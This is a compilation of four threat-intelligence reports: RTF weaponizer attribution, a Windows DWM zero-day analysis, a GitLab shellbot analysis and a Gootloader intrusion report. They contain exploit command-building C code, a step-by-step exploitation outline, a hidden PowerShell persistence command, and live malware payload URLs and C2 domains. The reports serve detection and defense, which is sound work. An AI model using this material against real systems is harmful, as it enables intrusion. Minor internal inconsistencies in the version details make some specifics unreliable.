The use of weaponized exploits in targeted phishing attacks continues to be among the most popular and effective techniques observed by cybersecurity researchers today. The 2019 Verizon DBIR report cites ‘Email Attachment’ as the top malware infection vector in incidents and reports that Office documents and Windows applications are the most common infection vectors. Among the Office documents utilized in cyber attacks, RTF file format is often used for phishing attachments and is regularly observed in espionage campaigns linked to prominent Advanced Persistent Threat (APT) adversaries. Rich Text Format (RTF) is a proprietary document file format created by Microsoft which has found popularity since its creation in 1987. The ubiquity of RTF attachments in APT attacks has led researchers to conduct an in-depth analysis of hundreds of weaponized RTF exploit files. This analysis has resulted in the development of a repeatable process for tracking the malicious files created by RTF phishing weaponizers and has introduced visibility into the threat actors’ supply chain for these weaponizer tools. Often, scripted phishing weaponizers will create malicious documents with predictable object dimensions for certain Common Vulnerability Exposures (CVEs). Based on these artifacts, it is possible to develop YARA detection signatures to allow analysts to study the spread and dissemination of phishing weaponizers across the threat landscape. With this visibility into the weaponization phase of the cyber kill chain, researchers can understand the origination point of weaponizers, which is invaluable for threat actor attribution. Additionally, the ability to detect and track these RTFs is highly advantageous to infosec organizations as it provides attack visibility during the delivery phase of a potential intrusion.
This paper presents a new technique for attributing RTF weaponizers using object dimensions. Researchers have studied more than 6,000 malicious RTF samples and have been able to group and attribute more than 27 different RTF weaponizers using object dimensions. An RTF weaponizer for CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798, dubbed ‘Royal Road’, was discovered being used in espionage campaigns, and ultimately released into the commodity threat landscape. Royal Road is believed to have originated amongst a group of Chinese APTs conducting espionage campaigns from 2017 to 2019. In 2018, it was observed being used by the Indian APT actor Sidewinder, and in 2019 it was seen being adopted by cybercriminal actors. The diffusion of custom weaponizers like Royal Road, from exclusive usage by its developers or purchasers through to its ultimate emergence as a commodity tool, will be explored as a recurring pattern which we refer to as the ‘Weaponizer Life Cycle’.
## RTF Exploitation
Rich Text Format was developed by Microsoft from 1987 until 2008 and remains supported by Windows, Mac, and Linux operating systems. The RTF format was created to enable cross-platform document interchange. This file format has, for years, been a popular target for vulnerability researchers and exploit developers because it can host different object types. The object types include annotations, fonts, pictures, OLE, and SWF. This allows adversaries to deliver exploits from different object types, often by attaching RTF files to phishing emails. The versatility of the RTF format for exploit delivery from different object types has given rise to the following popular CVEs:
- CVE-2014-1761
- CVE-2015-7645
- CVE-2016-4117
- CVE-2016-1019
- CVE-2017-0199
- CVE-2017-8570
- CVE-2017-11882
- CVE-2018-0802
- CVE-2018-0798
## RTF Tracking and Attribution Techniques
There are many aspects of RTF files that can be used to conduct analysis or track weaponized exploits for attribution purposes. In this paper, we will focus on four specific techniques that can provide insight into both adversary operators and adversary supply chains. These four techniques include the tracking of RTF metadata, shellcode, obfuscation, encoding artifacts, and object dimensions.
### Metadata & Author Name
In addition to accommodating objects, RTF files can include metadata ‘Tag ID’ values that can be used to support threat actor attribution. Specifically, analysis of the metadata tag IDs for ‘author’, ‘company’, ‘operator (last modified by)’, ‘title’, and ‘vern’ (internal version number) associated with RTF phishing attachments can provide string values that can be leveraged as indicators of compromise. These metadata tag IDs should be recorded and attributed to a threat actor if observed in multiple campaigns over time, alongside additional overlapping IoCs or tactics techniques and procedures (TTPs). Metadata tag ID values can be observed in the strings of the RTF as well as through proprietary analysis tools such as VirusTotal Enterprise in the description section of an uploaded malware binary. The tag values for author and operator fields are derived from the machine used to create the RTF phishing attachment. In some instances, if the operator is using an application like Microsoft Office to create a weaponized phishing attachment, file compilation will apply the author value associated with the operator’s application to the created malicious file. Additionally, a unique value for the ‘vern’ or internal version number will be applied to all malicious phishing attachments created by that code base.
Although RTF metadata tag ID tracking is a useful method, over time, to develop attribution based on RTF attachments in targeted campaigns, there are limitations to this technique. In many cases, RTF metadata is fleeting and trivial to alter from campaign to campaign. Often these values are updated to mimic regionally specific personnel at targeted organizations and changed to the native languages spoken by the targets. Additionally, RTF metadata tags are not mandatory values that must be included upon the compilation of an RTF file. In some cases, adversaries have removed RTF metadata tag IDs from weaponized RTF attachments upon updating a phishing weaponizer. Based on the inconsistent and non-essential nature of RTF metadata as a social engineering mechanism in weaponized RTFs, this tracking method provides the best visibility, over multiple campaigns, of the operator’s personas and possible targeting intention, while being a fleeting indicator of compromise.
### Shellcode
Certain characteristics of the shellcode used to exploit a vulnerability targeted by a malicious RTF can be used to track certain RTF weaponizers. The most common characteristic of shellcode would be certain Return Oriented Programming (ROP) gadgets being used by the exploit or the technique used to drop and execute the payload. While these characteristics are usually permanent and rarely changed, it is usually difficult to develop YARA rules to automatically track them.
### Obfuscation Artifacts
The Office RTF parser and RTF file specification is very flexible from a development standpoint. One of the most flexible features of an RTF file is the allowance of cascading objects, which can represent data in different formats and escape characters. Exploit developers make use of this functionality to build obfuscated payloads that are still valid when rendered in Office, but which can evade AV engines by representing malicious internal content in formats other than what is most commonly used in AV static signature detection. This has the beneficial secondary outcome of making it harder for analysts to extract or analyze the malicious payload. Actors often deploy scripts to insert custom obfuscation gadgets into their malicious RTFs. Using these gadgets as strings in YARA signatures is a very useful method for tracking RTFs created for certain campaigns or actors.
### Object Dimensions and Phishing Weaponizers
CVEs and exploits are often purchased from digital black markets as Python scripts that can be used to weaponize a lure document. Alternatively, weaponizers have been known to be developed as internal tools for APT organizations. Based on the popularity of Word for rendering email attachments, threat actors usually build their lure ‘.doc’ using a normal Office application and then use the acquired script to inject the malicious RTF object into the lure document once it has been created.
Based on RTF specifications, any object that has a graphical representation (which will most commonly be rendered in Word) needs to specify the object dimension as part of the RTF object header. This is to say that the object height and width for graphic representation are included in the strings of the compiled RTF file to ensure that an error will not occur when attempting to load the object.
If the malicious RTF exploit object has a graphical representation (most phishing attachments do), the object dimensions are crafted inside the weaponizer script and included in the strings of the malicious RTF exploit. An extended study of multiple RTF weaponizers and malicious RTF files targeting numerous vulnerabilities proved that the object dimensions are very often unique numbers. Specifically, the object height and width were frequently found to be unique and it was observed that they never changed across the usage of certain weaponizers, even in instances when the weaponizer was being utilized by multiple actors deploying diverse shellcode. Whereas the RTF obfuscation and final delivered payload may change, the RTF object dimensions were found to remain constant.
Interestingly, RTF object dimensions are rarely used by anti-virus (AV) engines to detect malicious RTF files. This current lack of object dimension-based detection may be why developers do not need to change object dimensions to bypass AV engines. On the other hand, metadata, obfuscation, and shellcode (all used in other attribution techniques) tend to be changed regularly by actors attempting to bypass AV detection. We noticed in multiple cases that, even when the actors were very successful in updating their weaponizer to provide better AV detection evasion, a simple YARA rule tracking the object dimension was able to find the malicious RTF created by a new version of the weaponizer.
The tracking of RTF object dimensions has led researchers to identify 27 unique weaponizers that include APT, cybercriminal, and public tools. Of the over 6,000 malicious RTF files analyzed, 4,445 contained unique object dimensions. This demonstrates how distinct object dimensions are per weaponized RTF sample and reinforces that a cluster of shared object dimensions between samples is an indication that they were likely created by the same weaponizer.
## Comparing RTF Attribution Techniques: Pros and Cons
| Technique | Pros | Cons |
|-------------------------------------|---------------------------------------------------------|---------------------------------------------------------|
| Metadata and author name | Operator-centric | Trivial to change |
| (fleeting & operator-centric) | Provides context via social engineering | Not required in all weaponized files |
| | Can be used to track specific campaigns | Regularly evolving |
| | Actor-specific | Easy to track |
| RTF obfuscation artifacts | Unique to shellcode developer | Regularly evolving with high turnover so |
| (evolving & supply-chain-centric) | Can facilitate attribution and correlations | threat actors can bypass AV detection |
| | Easy to track using YARA rules | |
| Shellcode (permanent & | A more permanent actor artifact to track | Complex to create a signature, specifically |
| operator-centric) | Usually specific to a single actor | utilizing YARA rules to track shellcode |
| | Difficult for actors to change entirely | |
| Object dimensions | Very specific to weaponizer developer & | Does not provide operator visibility |
| (permanent & supply-chain-centric) | exploit supplier | If multiple actors are using the weaponizer it |
| | Does not change regularly | does not provide deeper attribution to a specific group |
| | Allows attribution of a shared exploit | supply chain |
| | Maps relations between different connected groups | |
## The Royal Road Weaponizer
Researchers have identified a unique phishing weaponizer that, to date, has been utilized in Chinese and South Asian APT targeted attacks, as well as in cybercriminal campaigns. The weaponizer, which has been dubbed ‘Royal Road’, is believed to be a code base capable of creating weaponized RTF exploits complete with believable lure content for CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798. This weaponizer has primarily been used by Chinese APT actors in espionage campaigns supporting intelligence requirements for the Belt and Road Initiative in Central Asia, Russia, Vietnam, and Mongolia, but also with the targeting of US maritime, academic, and defense sectors. Specifically, the weaponizer can be identified by the unique object dimensions objh2180/objw300 appearing in the malicious RTF’s strings. Further variations of this weaponizer can be identified by the object data which follows the object dimensions, the metadata associated with the RTF files, and an examination of post-exploitation infection techniques utilized by disparate threat actors.
Versions of the Royal Road tool weaponize RTF files to exploit CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798, which affect the Microsoft Equation Editor. CVE-2017-11882 and CVE-2018-0802 were patched by Microsoft in November 2017 and January 2018, respectively. The lesser-known CVE-2018-0798 was also patched in January 2018. Since then, RTF files exploiting these vulnerabilities in malspam campaigns pushing malware like LokiBot and Formbook have been well documented. By now, exploits for Equation Editor vulnerabilities are old news, and more than 1,000 samples have been submitted to VirusTotal since November 2017. Chinese APT threat actors adapted these popular vulnerabilities into exploits immediately following their disclosure by Microsoft. The use of a specific weaponizer to exploit well-known vulnerabilities allows analysts both to attribute In-the-Wild (ItW) samples and to gain insight into the supply chain associated with numerous APTs across international boundaries.
## Distinguishing Between Royal Road Versions
All identified weaponized RTF samples created by the Royal Road tool were found to share the unique RTF object dimensions objh2180/objw300. This shared dimension allowed us to draw connections between diverse samples created by the tool, as variation exists between different versions of the weaponizer which include unique object data spanning five distinct versions. Additionally, two distinct methods for executing post-exploitation payloads were found, which serve as the primary method for distinguishing between Chinese APT activity and activity associated with the Sidewinder APT. Finally, further variation was identified and documented in the methods used amongst disparate Chinese APTs to perform DLL side-loading following execution.
Four distinct clusters of Chinese APT activity have been observed utilizing RTF files that contain the Royal Road unique object dimensions. Version 1 utilizes the object data string objw2180\objh300{\*\objclass Equation.3}{\*\objdata 01050000020000000B0000004571756174 and exploits CVE-2017-11882. Versions 2 and 4 utilize the object data string objw2180\objh300{\objdata 554567{\*\objdata 01050000020000000B0000004571756174696F6E2E and exploit both CVE-2017-11882 and CVE-2018-0802. Several of these APT groups have utilized exploits for both CVE-2017-11882 (two versions) and CVE-2018-0802 at different times, representing a shared and evolving supply chain between Chinese threat actors. Version 4 of the Royal Road weaponizer was observed being utilized by the Sidewinder APT group, using the object data string objw2180\objh300{\objdata 554567{{\*\objdata 1389E614020000000B0000004571756174696O6E2 to exploit CVE-2017-11882. This string is highly similar to the object data string from Royal Road versions 2 and 4.
A fifth variation of the Royal Road builder was also observed in use by Chinese APT actors. The analyzed RTF files share the same object dimension (objw2180\objh300) as used to track the RTF weaponizer. However, in this case, the samples were not exploiting CVE-2017-11882 or CVE-2018-0802. After further analysis, it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32). CVE-2018-0798 does not appear to be commonly exploited in the wild, even though it is more reliable than its better-known Equation Editor RCE counterparts. Its reliability is rooted in its efficacy among all Microsoft Word versions that include the Equation Editor. Its counterparts CVE-2017-11882 and CVE-2018-0802 are limited to specific versions based on the patches that have been deployed. CVE-2017-11882 is only exploitable on an unpatched version prior to its fix, and CVE-2018-0802 is only exploitable on the version released to fix CVE-2017-11882. In contrast, a threat actor utilizing CVE-2018-0798 has a higher likelihood of success because it is not limited by version. Files containing the Royal Road object dimensions and the following string have been classified as Royal Road v5: objw2180\objh300\objdata\object 5154\781\'e56\'2f7\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000002e0000d01.
| Version | Object string | Description |
|-------------------|-----------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------|
| Royal Road v1 | objw2180\objh300{\*\objclass Equation.3}{\*\objdata 01050000020000000B0000004571756174 | No obfuscation; Exploits CVE-2017-11882; Used by Chinese APTs Temp.Periscope and Goblin Panda |
| Royal Road v2 | objw2180\objh300{\objdata 554567{\*\objdata 01050000020000000B0000004571756174696F6E2E | Started using RTF obfuscation gadgets to evade AV detection; Exploits CVE-2017-11882; Used by Chinese APTs Nomad Panda, Dagger Panda, and Goblin Panda |
| Royal Road v3 | objw2180\objh300{\objdata 554567{{\*\objdata 1389E614020000000B0000004571756174696F6E2 | Similar RTF obfuscation gadgets to v2; Post-exploitation uses HTA download & execution of shellcode; Exploits CVE-2017-11882; Used by Sidewinder APT |
| Royal Road v4 | objw2180\objh300{\objdata 554567{\*\objdata 01050000020000000b0000004571756174696f6e2 | Similar RTF obfuscation gadgets to v2; Post-exploitation technique & execution of shellcode; Exploits CVE-2018-0802; Used by Nomad Panda, Dagger Panda, Goblin Panda, the group responsible for the Reaver malware, and Temp.Hex |
| Royal Road v5 | objw2180\objh300\objdata\object 5154\781\’e56\’2f7\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000002e0000d01 | Post-exploitation technique & execution of shellcode; Exploits CVE-2018-0798; Used by Nomad Panda, Dagger Panda, Goblin Panda, and Temp.Hex |
## Conclusion
The application of RTF attribution techniques across over 6,000 samples has ultimately identified 27 RTF weaponizers, 18 months of targeted APT activity spanning six adversaries, and has demonstrated the value derived from the analysis of unique object dimensions. While the continued analysis of other aspects of the RTF file format – including metadata, shellcode, and obfuscation – remains valuable, object dimensions provide a unique visibility into weaponizer tool usage in the threat landscape. The relative ease and significant return of YARA signatures tracking these dimensions provides network defenders a high-veracity, repeatable method for identifying malicious RTF phishing attachments. This high-value boon to defenders is augmented by the long-term strategic context that tracking object dimensions can offer as part of threat actor profiling. Should these object dimensions remain relatively obscure in the static detections employed by anti-virus signatures and therefore insignificant in the eyes of threat actors, we believe that attribution will remain in the object. |
# Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild
While analyzing the CVE-2021-1732 exploit originally discovered by the DBAPPSecurity Threat Intelligence Center and used by the BITTER APT group, we discovered another zero-day exploit we believe is linked to the same actor. We reported this new exploit to Microsoft in February and after confirmation that it is indeed a zero-day, it received the designation CVE-2021-28310. Microsoft released a patch to this vulnerability as a part of its April security updates. We believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access. Unfortunately, we weren’t able to capture a full chain, so we don’t know if the exploit is used with another browser zero-day, or coupled with known, patched vulnerabilities.
The exploit was initially identified by our advanced exploit prevention technology and related detection records. In fact, over the past few years, we have built a multitude of exploit protection technologies into our products that have detected several zero-days, proving their effectiveness time and again. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone. In this blog, we provide a technical analysis of the vulnerability and how the bad guys exploited it. More information about BITTER APT and IOCs are available to customers of the Kaspersky Intelligence Reporting service. Contact: [email protected].
## Technical details
CVE-2021-28310 is an out-of-bounds (OOB) write vulnerability in dwmcore.dll, which is part of Desktop Window Manager (dwm.exe). Due to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API. DirectComposition is a Windows component that was introduced in Windows 8 to enable bitmap composition with transforms, effects, and animations, with support for bitmaps of different sources (GDI, DirectX, etc.). We’ve already published a blog post about in-the-wild zero-days abusing DirectComposition API. DirectComposition API is implemented by the win32kbase.sys driver and the names of all related syscalls start with the string “NtDComposition”.
For exploitation, only three syscalls are required: `NtDCompositionCreateChannel`, `NtDCompositionProcessChannelBatchBuffer`, and `NtDCompositionCommitChannel`. The `NtDCompositionCreateChannel` syscall initiates a channel that can be used together with the `NtDCompositionProcessChannelBatchBuffer` syscall to send multiple DirectComposition commands in one go for processing by the kernel in a batch mode. For this to work, commands need to be written sequentially in a special buffer mapped by `NtDCompositionCreateChannel` syscall. Each command has its own format with a variable length and list of parameters.
### List of command IDs supported by the function DirectComposition::CApplicationChannel::ProcessCommandBufferIterator
```c
enum DCOMPOSITION_COMMAND_ID {
ProcessCommandBufferIterator,
CreateResource,
OpenSharedResource,
ReleaseResource,
GetAnimationTime,
CapturePointer,
OpenSharedResourceHandle,
SetResourceCallbackId,
SetResourceIntegerProperty,
SetResourceFloatProperty,
SetResourceHandleProperty,
SetResourceHandleArrayProperty,
SetResourceBufferProperty,
SetResourceReferenceProperty,
SetResourceReferenceArrayProperty,
SetResourceAnimationProperty,
SetResourceDeletedNotificationTag,
AddVisualChild,
RedirectMouseToHwnd,
SetVisualInputSink,
RemoveVisualChild
};
```
While these commands are processed by the kernel, they are also serialized into another format and passed by the Local Procedure Call (LPC) protocol to the Desktop Window Manager (dwm.exe) process for rendering to the screen. This procedure could be initiated by the third syscall – `NtDCompositionCommitChannel`.
To trigger the vulnerability, the discovered exploit uses three types of commands: `CreateResource`, `ReleaseResource`, and `SetResourceBufferProperty`.
### Format of commands used in exploitation
```c
void CreateResourceCmd(int resourceId) {
DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
*buf = CreateResource;
buf[1] = resourceId;
buf[2] = PropertySet; // MIL_RESOURCE_TYPE
buf[3] = FALSE;
BatchLength += 16;
}
void ReleaseResourceCmd(int resourceId) {
DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
*buf = ReleaseResource;
buf[1] = resourceId;
BatchLength += 8;
}
void SetPropertyCmd(int resourceId, bool update, int propertyId, int storageOffset, int hidword, int lodword) {
DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
*buf = SetResourceBufferProperty;
buf[1] = resourceId;
buf[2] = update;
buf[3] = 20;
buf[4] = propertyId;
buf[5] = storageOffset;
buf[6] = _D2DVector2; // DCOMPOSITION_EXPRESSION_TYPE
buf[7] = hidword;
buf[8] = lodword;
BatchLength += 36;
}
```
Let’s take a look at the function `CPropertySet::ProcessSetPropertyValue` in dwmcore.dll. This function is responsible for processing the `SetResourceBufferProperty` command. We are most interested in the code responsible for handling `DCOMPOSITION_EXPRESSION_TYPE = D2DVector2`.
```c
int CPropertySet::ProcessSetPropertyValue(CPropertySet *this, ...) {
...
if (expression_type == _D2DVector2) {
if (!update) {
CPropertySet::AddProperty<D2DVector2>(this, propertyId, storageOffset, _D2DVector2, value);
} else {
if (storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF) {
goto fail;
}
CPropertySet::UpdateProperty<D2DVector2>(this, propertyId, _D2DVector2, value);
}
}
...
}
```
For the `SetResourceBufferProperty` command with the expression type set to `D2DVector2`, the function `CPropertySet::ProcessSetPropertyValue(…)` would either call `CPropertySet::AddProperty<D2DVector2>(…)` or `CPropertySet::UpdateProperty<D2DVector2>(…)` depending on whether the update flag is set in the command. The first thing that catches the eye is the way the new property is added in the `CPropertySet::AddProperty<D2DVector2>(…)` function. You can see that it adds a new property to the resource, but it only checks if the propertyId and storageOffset of a new property are equal to the provided values after the new property is added, and returns an error if that’s not the case. Checking something after a job is done is bad coding practice and can result in vulnerabilities. However, a real issue can be found in the `CPropertySet::UpdateProperty<D2DVector2>(…)` function. No check takes place that will ensure if the provided propertyId is less than the count of properties added to the resource. As a result, an attacker can use this function to perform an OOB write past the propertiesData buffer if it manages to bypass two additional checks for data inside the properties array.
### Conditions which need to be met for exploitation in dwmcore.dll
1. `storageOffset == this->properties[propertyId]->offset & 0x1FFFFFFF`
2. `this->properties[propertyId]->type == type`
These checks could be bypassed if an attacker is able to allocate and release objects in the dwm.exe process to groom the heap into the desired state and spray memory at specific locations with fake properties. The discovered exploit manages to do this using the `CreateResource`, `ReleaseResource`, and `SetResourceBufferProperty` commands.
At the time of writing, we still hadn’t analyzed the updated binaries that are fixing this vulnerability, but to exclude the possibility of other variants for this vulnerability Microsoft would need to check the count of properties for other expression types as well.
Even with the above issues in dwmcore.dll, if the desired memory state is achieved to bypass the previously mentioned checks and a batch of commands are issued to trigger the vulnerability, it still won’t be triggered because there is one more thing preventing it from happening.
As mentioned above, commands are first processed by the kernel and only after that are they sent to Desktop Window Manager (dwm.exe). This means that if you try to send a command with an invalid propertyId, `NtDCompositionProcessChannelBatchBuffer` syscall will return an error and the command will not be passed to the dwm.exe process. `SetResourceBufferProperty` commands with expression type set to `D2DVector2` are processed in the win32kbase.sys driver with the functions `DirectComposition::CPropertySetMarshaler::AddProperty<D2DVector2>(…)` and `DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(…)`, which are very similar to those present in dwmcore.dll (it’s quite likely they were copy-pasted). However, the kernel version of the `UpdateProperty<D2DVector2>` function has one notable difference – it actually checks the count of properties added to the resource.
### DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(…) in win32kbase.sys
```c
int DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(DirectComposition::CPropertySetMarshaler *this, unsigned int *commandParams, _QWORD *value) {
unsigned int propertyId = commandParams[0];
unsigned int storageOffset = commandParams[1];
unsigned int type = commandParams[2];
if (propertyId >= this->propertiesCount || storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF || type != this->properties[propertyId]->type) {
return 0xC000000D;
} else {
*(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value;
...
}
return 0;
}
```
The check for propertiesCount in the kernel mode version of the `UpdateProperty<D2DVector2>` function prevents further processing of a malicious command by its user mode twin and mitigates the vulnerability, but this is where `DirectComposition::CPropertySetMarshaler::AddProperty<D2DVector2>(…)` comes into play. The kernel version of the `AddProperty<D2DVector2>` function works exactly like its user mode variant and it also applies the same behavior of checking property after it has already been added and returns an error if propertyId and storageOffset of the created property do not match the provided values. Because of this, it’s possible to use the `AddProperty<D2DVector2>` function to add a new property and force the function to return an error and cause inconsistency between the number of properties assigned to the same resource in kernel mode/user mode. The propertiesCount check in the kernel could be bypassed this way and malicious commands would be passed to Desktop Window Manager (dwm.exe).
Inconsistency between the number of properties assigned to the same resource in kernel mode/user mode could be a source of other vulnerabilities, so we recommend Microsoft to change the behavior of the `AddProperty` function and check properties before they are added.
### The whole exploitation process for the discovered exploit is as follows:
1. Create a large number of resources with properties of specific size to get the heap into a predictable state.
2. Create additional resources with properties of specific size and content to spray memory at specific locations with fake properties.
3. Release resources created at stage 2.
4. Create additional resources with properties. These resources will be used to perform OOB writes.
5. Make holes among resources created at stage 1.
6. Create additional properties for resources created at stage 4. Their buffers are expected to be allocated at specific locations.
7. Create “special” properties to cause inconsistency between the number of properties assigned to the same resource in kernel mode/user mode for resources created at stage 4.
8. Use OOB write vulnerability to write shellcode, create an object, and get code execution.
9. Inject additional shellcode into another system process.
Kaspersky products detect this exploit with the verdicts:
- HEUR:Exploit.Win32.Generic
- HEUR:Trojan.Win32.Generic
- PDM:Exploit.Win32.Generic |
# Gitlab RCE Stealth Shellbot
**Brian Stadnicki**
January 13, 2022
Last year, a major RCE was found in GitLab, CVE-2021-22205, where GitLab versions >= 11.9 and < 13.10.3 were affected due to improper image validation before passing it to a file parser.
## Malicious image
The DjVu image is considered a legacy format, so not much attention has been paid to it. The GitLab RCE depends on a vulnerability in ExifTool, CVE-2021-22204, where improper parsing of annotations, including a dangerous `eval` to add quotes to a string, caused an RCE. A patch was created on the 13th April 2021 in this commit.
## Loader script
### Temporary memory file system
The script clears the temporary memory file system and creates the folder `/dev/shm/kthzabor`, which is an attempt to prevent the kthzabor mining malware from working.
### Process killing
Many processes are attempted to be killed, such as databases, miners, various other malware, task managers, and both defensive and offensive security tools. `pbotbyjanhotzu` is likely a competing malware, but it doesn’t appear to have been reported on.
### Network server killing
Any processes listening on ports associated with mining malware are also killed.
### Mining malware killing
Processes with names possibly linked to mining malware such as `sysrv-hello` are killed. Mining processes are often very simple, where a regular script is executed with the pool IP address as an argument, so these are also killed.
## Payload execution
Finally, a Perl script is fetched and executed.
## Payload
The payload itself appears to be called “Stealth Shellbot”, which appears to have been in use since at least the 23rd Nov 2015. It appears to be adapted from “ShellBOT”, found on GitHub. The authors may be Portuguese.
## Connection
The bot connects to an IRC server and joins a channel.
## Commands
| Command | Action |
|--------------|--------------------------------------|
| VERSION | Sends back the bot version |
| PING | Sends back PONG |
| portscan | Scans ports 21, 22, 23, 25, 53, 80, 110, 143 on a host |
| download | Downloads a payload |
| fullportscan | Scans a port range on a host |
| udp | UDP flood |
| udpfaixa | UDP range flood |
| conback | Opens a reverse shell |
| oldpack | Sends back a status message |
## Evasion
The main evasion technique used is changing the process name to “/usr/local/apache/bin/httpd -DSSL”.
## IOCs
**Hash:**
- 0d00200acb2caf4e2bc52285795bb13cb916fc051550c8e9dd3a19897068a494
- 9e52e0b8a9d3a3de2159c03974f0b778fe4c910fa09e7084435031f34cc0ff0e
- 7b4ef0d14bec12844653b4dbaed7db96bcdd04bbc755d4b42970a065a9a3886d
**URL:**
- http://82.165.155.100/san
- http://82.165.155.100/ba.sh
**Processes killed:**
- mysqldd
- monero
- kinsing
- sshpass
- sshexec
- attack
- dovecat
- kthzabor
- donate
- ‘scan.log’
- xmr-stak
- crond64
- stratum
- /tmp/java
- pastebin
- /tmp/system
- excludefile
- agettyd
- /var/tmp
- ‘./python’
- ‘./crun’
- ‘./.’
- ‘118/cf.sh’
- ‘.6379’
- ’load.sh'
- ‘init.sh’
- ‘solr.sh’
- ‘.rsyslogds’
- pnscan
- masscan
- kthreaddi
- sysguard
- kthreaddk
- kdevtmpfsi
- networkservice
- sysupdate
- phpguard
- phpupdate
- networkmanager
- knthread
- mysqlserver
- watchbog
- xmrig
- /dev/shm
- pbotbyjanhotzu
- ldr.sh |
# Gootloader Malware Leads to Cobalt Strike and Hands-on Keyboard Activity
## What did we find?
We uncovered Gootloader malware using a new infection technique, which helped further insights into the threat actor(s) tools and next infection phase. Gootloader’s initial JavaScript payload was delivered using the same technique via a compromised WordPress website.
Based on the sample retrieved from the infected webpage, the initial payload creates several files under a legitimate folder in `AppData\Roaming`:
- `Parliamentary Procedure.log` (Engineering Geology.log on the infected machine)
- `TIBCO Rendezvous.js` (Custom Built-ins.js on the infected machine)
It is worth mentioning that the filenames and scheduled task name can be different even if the initial payload was downloaded from the same infected webpage. The scheduled task “Foreign Languages” is also created to run the “TIBCO Rendezvous.js” file with `TIBCOR~1.JS` argument at log on from the sample we retrieved.
Approximately 2 hours after the initial infection, we observed hands-on activity on the system. The threat actor(s) deployed a Cobalt Strike payload via the existing PowerShell process that beaconed out to several domains with `/GET /xmlrpc.php` requests.
## The next stage of Gootloader (threat actor(s)’ hands-on activity)
The threat actor(s) retrieved and ran the Cobalt Strike payload `zieu.ps1` from path `appdata\roaming\btbh\`. After establishing the connection with the Cobalt Strike server, the threat actor(s) proceeded with retrieving and extracting BloodHound, a tool used for graphically analyzing Active Directory and other identity systems to identify attack pathways.
Besides the Cobalt Strike payload, the threat actor(s) retrieved the following files/tools:
- `PsExec` (C:\Users\) – a command-line tool used to execute processes on remote computers, enabling administrators to remotely control other systems on a network.
- `nwu2ndiyotmtmdvmnc00zja1lwi3yjmtyzllztrlngixm2vk.bin` (C:\Users\). Unfortunately, we could not retrieve the file for analysis.
- `s5.ps1`, `son.ps1` (AppData\Local) - PowerShell SOCKS proxy script that connects to the C2 server over port 4001.
The persistence via Registry Run Keys was created to run the PowerShell SOCKS proxy script with the following values:
- Registry Run Key name: `socks_powershell`
- Data (command to run): `Powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File "C:\Users\AppData\Local\s5.ps1"`
The threat actor(s) removed most of the files they dropped on the host including the results produced by BloodHound as well as an unidentified `krb.txt` file dropped under `C:\Users\`. After running BloodHound, the threat actor(s) attempted to move laterally by using PsExec to execute file `rz.ps1` on a second host. This was not successful due to the PowerShell execution policy preventing execution of untrusted scripts.
## How did we find it?
BlueSteel, our machine-learning powered PowerShell classifier identified post-compromise activity on the system.
## What did we do?
- Our team of 24/7 SOC Cyber Analysts isolated the host and alerted the customer.
- The SOC updated the customer with detailed findings and recommendations to remediate this threat.
- We added C2 addresses to our global blocklist and performed proactive threat hunts for similar activity across all customers.
- We also updated our Gootloader detection and runbook for this new infection technique.
## What can you learn from this TRU positive?
- Gootloader is a prevalent drive-by threat distributed through poisoned search results.
- Infected devices present a valuable foothold for adversaries to conduct follow-on attacks across the network. In the above case, the infected device transitioned to a hands-on-keyboard attack in approximately 2 hours.
- The drive-by distribution method presents an alternative to email as a vector for delivering malicious code.
- Gootloader uses blackhat SEO techniques to manipulate search results and deliver malware disguised as documents.
- Other drive-by threats utilize malicious search engine advertisements to push lookalike software containing malware.
- Gootloader follows a general trend observed across several threats where widely distributed, opportunistic infections are weaponized for network intrusions including ransomware deployment.
- In this case, we assess the goal was likely data theft or ransomware deployment. Gootloader has been previously used as a precursor to the REvil ransomware group in 2021.
## Recommendations from our Threat Response Unit (TRU) Team:
- Using Phishing and Security Awareness Training (PSAT), educate your employees regarding the risk of Gootloader and, more broadly, the cybersecurity risks associated with using search engines to find free document templates.
- Make sure you trust document sources. Even legitimate Word and Excel documents from the Internet can lead to malware infections.
- Ensure your downloaded content is what you intended. If you intended to download a document (.docx) but you are served a JavaScript (.js) file, do not open it. Escalate it to your internal IT security team.
- Ensure standard procedures are in place for employees to submit potentially malicious content for review.
- Use Windows Attack Surface Reduction rules to block JScript and VBScript from launching downloaded content.
- Employ an Endpoint Detection and Response (EDR) product to help detect, isolate, and remediate cyber threats impacting your company’s endpoint devices.
## Indicators of Compromise
| Indicator | Note |
|-----------|------|
| 23d3d8cd3a5b8e4703a9b91970d790d1 | zieu.ps1 (Cobalt Strike payload) |
| 785fcb9380b4c2310c2200790641bc73 | s5.ps1 (PowerShell SOCKS proxy) |
| cadb91ac90f52e27c0acae43b79aa202 | son.ps1 (PowerShell SOCKS proxy) |
| bbbfab2763b717178141f0561584d087 | contract salary calculator ontario 34123.js |
| hxxps://skymedia360.com/xmlrpc.php | Contacted domain |
| hxxps://filorga.com/xmlrpc.php | Contacted domain |
| hxxp://breadoflifetabernacle.com/xmlrpc.php | Contacted domain |
